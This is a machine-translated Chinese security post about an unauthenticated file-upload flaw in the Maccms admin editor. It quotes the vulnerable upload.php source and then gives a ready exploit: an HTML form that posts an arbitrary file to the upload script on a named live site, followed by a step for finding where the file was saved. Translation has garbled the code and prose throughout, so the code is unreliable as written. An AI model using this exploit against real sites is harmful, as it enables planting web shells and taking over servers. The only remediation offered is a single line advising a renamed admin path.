Maccms vulnerabilities and fixes

Source: Internet
Author: User

A small program, by the way, accidentally saw it.
 
./Admin/editor/upload. php
 
Require_once ("../admin_conn.php ");
$ Action = be ("get", "action ");
$ Ftypes = array ('jpg ', 'gif', 'bmp', 'png ', ". jpeg ");
$ UpfileDir = ".../". $ _ SESSION ["upfolder"]. "/". getSavePicPath ()."/";
$ MaxSize = 1000;
If (! File_exists ($ upfileDir )){
Mkdir ($ upfileDir );
}
Foreach ($ _ FILES as $ FILEa ){
If (! In_array (substr ($ FILEa ['name'],-3, 3), $ ftypes ))
$ Errm = "incorrect file format 1 [<a href = # onclick = history. go (-1)> re-upload </a>] "; // only stores the message in a variable and does not showmsg and exit...
If ($ FILEa ['SIZE']> $ maxSize * 1024)
$ Errm = "the file size exceeds the limit [<a onclick = history. go (-1)> re-upload </a>]";
If ($ FILEa ['error']! = 0)
$ Errm = "Unknown error ";

$ TargetDir = ".. /". $ _ SESSION ["upfolder"]. "/". getSavePicPath (). "/"; // No Logon so session = null...
$ TargetFile = date ('ymmd'). time (). substr ($ FILEa ['name'],-4, 4 );
$ RealFile = $ targetDir. $ targetFile;

If (function_exists ('move _ uploaded_file ')){
Move_uploaded_file ($ FILEa ['tmp _ name'], $ realFile); // move the uploaded file
If (app_watermark = 1 ){
ImageWaterMark ($ targetDir. $ targetFile, app_waterlocation, app_waterfont );
}
If ($ action = "xht "){
Echo "{'err ':'". $ errm. "', 'msg ':'". app_installdir. replaceStr ($ upfileDir ,".. /.. /",""). $ targetFile. "'}";
}
Else {// is die late now?
Die ("<script> parent.doc ument. getElementById ('pic '). value = '". replaceStr ($ upfileDir ,".. /.. /",""). $ targetFile. "'</script> ");
}
}
Else {
@ Copy ($ FILEa ['tmp _ name'], $ realFile); // same as above
If (app_watermark = 1 ){
ImageWaterMark ($ targetDir. $ targetFile, app_waterlocation, app_waterfont );
}
If ($ action = "xht "){
Echo "{'err ':'". $ errm. "', 'msg ':'". app_installdir. replaceStr ($ upfileDir ,".. /.. /",""). $ targetFile. "'}";
}
Else {
Die ("<script> parent.doc ument. getElementById ('pic '). value = '". replaceStr ($ upfileDir ,".. /.. /",""). $ targetFile. "'</script> ");
}
}
}
Why is it true that it is./admin/index. php?
 
If (cururl. indexOf ("/admin/")> 0) {alert ('change the folder admin name to avoid hacker intrusion ');}
So, I searched most (90% + +) and modified the background address.
 
Exp
 
<Body leftmargin = 0 topmargin = 0 style = "font-size: 11px">
<Form name = "form" enctype = "multipart/form-data" action = "http://www.bkjia.com/www/mcms/admin/editor/upload. php" method = "post">
<Input type = file name = file1>
<Input type = submit name = submit value = "Upload">
</Form>
View the source file after the upload ..
 
Author http://www.90sec.org/thread-1727-1-1.html

Www.2cto.com:

Refer to code analysis. Do not use the default address in the background.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.